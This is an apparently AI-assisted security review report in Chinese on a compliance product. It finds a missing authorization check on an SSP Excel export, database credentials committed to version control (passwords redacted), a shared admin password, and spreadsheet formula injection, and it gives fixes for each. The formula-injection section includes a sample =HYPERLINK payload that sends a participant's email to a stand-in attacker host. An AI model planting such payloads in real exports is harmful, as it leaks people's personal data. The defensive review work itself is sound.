檢查日期 2026-09-21|掃描耗時 3 小時 40 分|對應卡片 CM-2005
派工時要追的那條線追到了第三次——而且這次洞在隔壁。
原本要查的六組功能(元件、人員、設備清單、繼承授權、參考資料、系統特性的增刪改查),逐支核對下來全部守齊,沒有一支漏掉。但這六組餵資料過去的那支「SSP 匯出成 Excel 範本」的功能,完全沒有檢查你是不是這個專案的人——任何一個登入者,只要知道別人的系統安全計畫編號,就能把對方整份計畫下載走:人名、email、電話、地址、設備清單、IP 位址、每一條控制項的實施狀況與敘述。而做同一件事的隔壁端點是有檢查的。
另外撈到兩條高風險,都是明文密碼進了版控——其中一組字串出現在 250 個已進版控的檔案裡。這兩條不在本棒範圍內,是機密專項掃描順手撈到的。
系統安全計畫(SSP)底下掛著六類附屬資料:元件(系統由哪些東西組成)、人員(誰負責什麼)、設備清單(有哪些機器、IP 多少)、繼承授權(沿用了哪些已通過的授權)、參考資料(附帶的文件)、系統特性(系統叫什麼、敏感度多高、邊界在哪)。
每一類各有一組網址入口(列表/新增/修改/刪除)與一支商業邏輯程式,共 15 支檔、1,808 行。這一棒查的就是**「誰能看、誰能改、誰能刪這六類資料」**。
為什麼挑這塊:六組是同一套邏輯複製六份,最典型的「複製貼上時漏掉一處」風險——六組裡只要有一組的刪除忘了守門,就是一個完整的洞。
現況(2026-10-01):本棒各條後來的處理結果如下(過程紀錄保留,不改)。
- 問題 1、2(資料庫密碼進版控):✅ 已修(CM-2049,commit
5d4c14221;原卡 CM-1629 作廢)。- 問題 3(SSP 匯出範本不查是不是你的專案)=M11 第 1 條,✅ 已修(CM-2188,commit
82618a297,1.21.0 出貨)。- 問題 4(每套安裝同一組管理員密碼):🚫 裁定不修(M17 第 7 條)。
- 問題 5(存進 SSP 的文字在匯出 Excel 變公式)=M11 第 20、21 條,✅ 已修(CM-2189,commit
895db0ef8,1.21.0 出貨)。
| # | 嚴重度 | 這是什麼問題 | 出事會怎樣 | 要先有什麼才打得到 | 在哪裡 |
|---|---|---|---|---|---|
| 1 | 🔴 高 ⚠️ 範圍外 |
POC 資料庫的密碼被寫死在一支已進版控的程式裡 | 拿得到程式碼的人可以直接連進 POC 資料庫讀寫。POC 依專案規定等同正式環境,客戶會在上面試玩 | ① 讀得到程式碼倉庫 ② 連得到 192.168.50.189 |
docs/system-design/scripts/generate_db_schema_docx.py 第 34 行 |
| 2 | 🔴 高 ⚠️ 範圍外 |
資料庫最高權限帳號 cmmgr 的密碼被寫在文件裡,同一組字串散在 250 個受版控的檔案中 |
這個帳號會繞過「每個客戶只能看自己資料」的隔離機制,所有客戶資料可讀可寫,還能自己開新帳號 | 同上 | docs/analysis/2026-05-28-poc-db-migration-plan.md 第 73 行等 250 個檔 |
| 3 | 🟡 中 | **SSP 匯出成 Excel 範本時,不問「你是不是這個專案的人」 | 任何登入者只要知道別人的 SSP 編號,就能下載對方整份**計畫:人名、email、電話、地址、設備 IP、每條控制項敘述 | 有一個能看資源庫頁面的帳號 + 知道目標編號(從別的 API 回應就拿得到) | app/module_frame/service/ssp_import_template_app_service.py 第 280 行 |
| 4 | 🟡 中 ⚠️ 範圍外 |
每一套安裝出來的最高管理員密碼都一樣,而且刻意關掉首次登入強制改密 | 破解一次就能登入所有客戶的系統,而且身分是跨客戶通行的超級管理員 | 拿到安裝包或程式碼 + 把密碼雜湊破解出來 | scripts/init/06-admin.sql 第 41 行 |
| 5 | 🟡 中 | 存進 SSP 的文字,在匯出的 Excel 裡會變成會執行的公式 | 稽核人員打開匯出的 Excel,他電腦上的資料會被送到攻擊者的伺服器;嚴重時可到執行指令 | 攻擊者能寫入某份 SSP + 受害者打開檔案並按下 Excel 的警告確認 | app/module_frame/excel_template/generator.py 第 578 行 |
白話:系統有一個「把整份系統安全計畫倒成 Excel」的功能。這個功能只問兩件事:你登入了嗎、你的角色有沒有「看資源庫」這個權限。它從來不問「這份計畫是不是你們專案的」。
api/module_frame/routes/ssp_import_template_route.py
第 97 行 @jwt_required() ← 你登入了嗎
第 98 行 @require_capability("module-frame.read") ← 你的角色能看資源庫嗎
← 沒有第三道:這份計畫是你們的嗎
app/module_frame/service/ssp_import_template_app_service.py
第 280 行 ssp = self._ssp_domain_service.get_ssp(ssp_uid)
← 網址上給什麼編號就查什麼,直接開始讀資料
整支檔案(含 DI 注入)grep require_、Permission、Forbidden、authz 一個字都沒有。
同一個系統裡做同一件事的隔壁端點是有檢查的——/ssp/<編號>/export(另一種格式的匯出):
app/oscal/service/export/ssp_export_app_service.py
第 16 行 from common.authz.ssp import SspPermissionChecker
第 74-75 行 if self._perm is not None:
self._perm.require_participant(ssp_uid) ← 先問「你是這專案的人嗎」
有反例就代表「這裡本來就該有檢查」不是猜測。
會流出什麼:系統名稱與敏感度分級、授權邊界、每一位登記人員的姓名/email/電話/通訊地址、設備與資訊系統清單(主機名稱、IP、MAC、作業系統、資產編號)、繼承的授權、每一條控制項的實施狀況與完整敘述、附帶文件的檔名。一份九張工作表的 Excel。
攻擊情境:某個只是 A 專案「檢視者」的人(甚至一個專案都沒參加、只要角色有「看資源庫」權限),從 /grc/project/<編號>/ap/menu 的回應裡拿到 B 專案的 SSP 編號,送出 GET /api/1.0/ssp/<B的編號>/excel-template?mode=filled,就拿到 B 專案的全部內容。
還有一層:底層那些 oscal.* 資料表沒有資料庫層的客戶隔離(整份 schema 裡只有五張解析工作單的表開了隔離)。所以在多客戶部署下,這個漏洞連「只洩漏給同公司的人」都做不到。
怎麼修:把 SspPermissionChecker 注入這支服務,在 generate_for_ssp 第一行呼叫 require_participant(ssp_uid),照隔壁 export 那支抄;DI 在 di_containers/module_frame/module_frame_containers.py 接線。另外建議給 oscal.* 那些表補上資料庫層隔離,這樣漏掉一道守門就不會是唯一的防線。
| 棒次 | 位置 | 形狀 |
|---|---|---|
| O2 | 寫入路徑 | 讀取受資料庫層隔離保護,但寫入的目標在另一個資料庫結構、那裡沒有隔離 |
| O3a | Excel 匯入 | 三條去路,兩條有檢查、資源庫那條完全沒有 |
| O5(本棒) | Excel 匯出 | 匯出範本沒有檢查,隔壁做同樣事的匯出有檢查 |
三次都在同一塊地(SSP 的資料進出),三次都是「隔壁有守、這支沒守」。 建議修正卡把 O3a 那條與這條放在一起處理——匯入匯出是同一條路的兩個方向。
這兩條不在本棒的 15 支檔裡,是機密專項掃描順手掃全倉庫找到的。但它們直接違反本專案 CLAUDE.md 的第一條行為規範(「禁止將憑證寫入任何版控檔案」)。
問題 1——POC 資料庫的連線資訊被寫死在一支產生資料庫文件的腳本裡:
# docs/system-design/scripts/generate_db_schema_docx.py 第 33-34 行
DB_CONN = dict(host="192.168.50.189", port=25432, dbname="guidant_ai_poc",
user="cm_app", password="<密碼>")主機、埠號、資料庫名、帳號、密碼——五樣齊全,複製貼上就能連。 這支檔案確認已進版控(git ls-files 查過)。
問題 2——最高權限帳號的密碼寫在遷移手冊裡,而且同一組字串出現在 250 個受版控的檔案中(我自己 git grep -l 數的,與掃描報告吻合):
# docs/analysis/2026-05-28-poc-db-migration-plan.md 第 71-73 行
export PGPASSWORD='<密碼>'
PSQL="psql -h 192.168.50.189 -p 25432 -U cmmgr -d guidant_ai_poc ..."cmmgr 這個帳號建立時帶 BYPASSRLS——繞過所有客戶隔離——外加 CREATEROLE(可以自己開帳號)與資料庫擁有權(可以隨意改結構)。這是整個產品裡權限最高的一組資料庫憑證。
I2(2026-09-09)數到 249 個檔,這次數到 250。 根因一樣:不是有人故意把密碼寫進文件,是工作過程被完整記錄下來的副作用——查資料庫打的指令連同密碼被寫進對話紀錄,對話紀錄依規定進版控。
I2 已經開了修正卡 CM-1629 要求治本(改用 ~/.pgpass、對話紀錄歸檔前先遮罩)。這次的兩條不必另開新卡,併進 CM-1629 即可——但要注意問題 1 那支是程式碼不是文件,清理方式不同(要改成從環境變數讀,scripts/archive/backfill_2026-06-17_inject_job_execution_uid.py:25-28 已經有正確寫法可抄)。
⚠️ 換密碼要注意:DEV 和基線庫可以規劃,但 STG/POC 屬於環境異動,依專案鐵律要決策者當次明確指示才可以動。
-- scripts/init/06-admin.sql 第 41 行
c_password CONSTANT text := '<固定的 bcrypt 雜湊>';這支在每次安裝時都會跑(scripts/init/init.sh:128),所以每一套交付出去的系統,admin 帳號的密碼都是同一組。而且第 94-96 行有一段註解,刻意說明不建立首次登入強制改密:
刻意不建 FIRST_REGISTER 改密請求:這個帳號的密碼由原廠保管,不是要交給某個人去改的初始密碼。
這個決定本身有其道理(原廠要留維運入口),但代價是沒說出口的:破解一次雜湊,或原廠手上那份文件外流一次,就等於拿到所有客戶系統的超級管理員——那個身分會繞過全部的客戶隔離,而且沒有任何機制讓它過期。
怎麼修:安裝時每套各自產生一組密碼,顯示一次給安裝的人——install.sh:1251 產生資料庫管理員密碼時已經是這樣做的(openssl rand),照抄即可。若真的要保留固定的原廠帳號,至少掛上首次登入改密,讓外流的共用密碼在第一次使用後失效。
白話:使用者在 SSP 欄位裡填的字,匯出成 Excel 之後會被當成公式執行。
# app/module_frame/excel_template/generator.py 第 578 行
cell = ws.cell(row=row_offset, column=col_idx, value=value) ← 原字串直接寫入
# 第 137 行
wb.calculation.fullCalcOnLoad = True ← 而且設定成「一打開就重算」Excel 函式庫看到開頭是 = 的字串會自動把格子標記成公式,加上「一打開就重算」,檔案開啟的瞬間公式就跑了。
攻擊情境:能寫入某份 SSP 的人,把元件標題設成 =HYPERLINK("https://evil.example/?x="&'參與人員'!A2,"Click for details")。 稽核人員下載這份 Excel,看到一個像是正常連結的儲存格,點下去——同一份檔案裡某位參與人員的 email 就被送到攻擊者的伺服器。
影響落在稽核人員的電腦上,不是伺服器。 需要受害者按下 Excel 的警告確認,所以判中不判高。
怎麼修:寫入前把開頭是 =、+、-、@、tab、換行的字串前面補一個單引號,或寫完之後把格子型別明確設成文字。generator.py:319(直式工作表)與 lookup_builder.py 要一起處理。
派工卡列了四項必查,逐項核對結果如下(這段是我自己開檔看的,不是採信掃描報告):
列表 新增/修改/刪除
元件 components participant manager × 3
人員 party participant manager × 3
設備清單 inventory participant manager × 3
繼承授權 leveraged participant manager × 3
參考資料 resources participant manager × 3
系統特性 system_char participant manager × 1(只有一支更新)
六組都是:讀用「你要是這專案的人」,寫用「你要是這專案的負責人」,一支不漏。 卡片擔心的「某一組的刪除忘了守門」沒有發生。
六組的內部查找函式長得一模一樣:先用權限檢查回傳的 SSP 編號去撈清單,再在清單裡比對子物件編號。
def _resolve(self, ssp_id: int, item_uid: str):
for c in self._ssp_service.list_components_for_ssp(ssp_id): ← 只在這份 SSP 的範圍內找
if c.uuid == item_uid:
return c
raise NotFound(...) ← 找不到就 404所以「拿自己的 SSP 編號 + 別人的元件編號」這招行不通,會得到 404。人員那組走的是 metadata 層(_metadata_id),形狀不同但同樣限定在本 SSP 之內。
ssp_project_resolver 解析不到時回什麼 → ✅ 四條失敗路徑全部拋錯這支是整條權限判斷鏈的起點,卡片特別點名「回 None 然後上層當成通過」是災難。實際情況:
第 89 行 SSP 查不到 → raise NotFound
第 92 行 查不到所屬專案 → raise NotFound
第 95 行 專案查不到 → raise NotFound
resolve() 沒有任何一條路徑回 None。(檔案下半部的 resolve_round_for_ssp、resolve_current_ssp 確實會回 None,但那兩支是查輪次用的,不在權限判斷鏈上。)
ssp_project_resolver(SSP → 專案)與 ssp_context_resolver(SSP → 上下文)職責分開,沒有出現「兩套解析同一件事而答案不同」的情形。
結論:這六組本身是這批檔案裡寫得最一致的一塊。洞在它們餵資料過去的那支匯出服務。
五條全部經過三個獨立檢查員投票、三票全過,15 票全數投出、沒有漏投、沒有中斷,驗證章蓋的是 verified。
檢查員把問題 3 降級了(研究員判「高」,兩位檢查員投「中」,最後定為中)——代表他們在做對抗性判斷,不是橡皮圖章。
我自己也沒有只採信工具,下列是開檔核對過的:
git ls-files)git grep -l 自己數)第一層:這是快篩模式(low),一個研究員讀完 15 支檔,沒有全面盤點、沒有威脅建模。它不是窮舉式閱讀。
第二層:四條標「範圍外」的發現,不代表那些地方被檢查過。 問題 1、2、4 是機密專項掃描順手撈到的,docs/、scripts/ 這兩個目錄從來不是這次的檢查目標——那兩處等於沒檢查過。問題 3、5 雖然是本棒研究員找到的,但落點在 app/module_frame/,也不在原本的 15 支檔清單內。
另外:這次掃描沒有執行任何程式碼——沒跑測試、沒發動攻擊、沒驗證過概念驗證。每一條都是讀程式碼推出來的。上面標「開檔核對」的幾條,是我重新打開檔案看過那幾行確實那樣寫,不是實際打過那個 API。
| 項目 | 數字 |
|---|---|
| 檢查範圍 | 15 個檔、1,808 行 |
| 工具設定 | effort low/focus attack-surface |
| 派出/回報的 agent | 17 / 17(1 研究員 + 1 機密掃描 + 15 檢查員) |
| 失敗的 agent | 0 |
| 候選問題 → 去除重複 | 5 → 5 |
| 投票數 | 15(5 條 × 3 個檢查員) |
| 沒投到票的 | 0 |
| 投票中斷的 | 0 |
| 被檢查員降低嚴重度的 | 1(問題 3,高 → 中) |
| 驗證章 | verified |
| 掃描耗時 | 3 小時 40 分 |
| Run ID | wf_7ac51ad6-b71 |
| 掃描時的版本 | 7ce6210(branch feature/review,工作區有未提交異動) |
原始產物(JSONL/SARIF/驗證章)在 CLAUDE-SECURITY-20260921-113212/。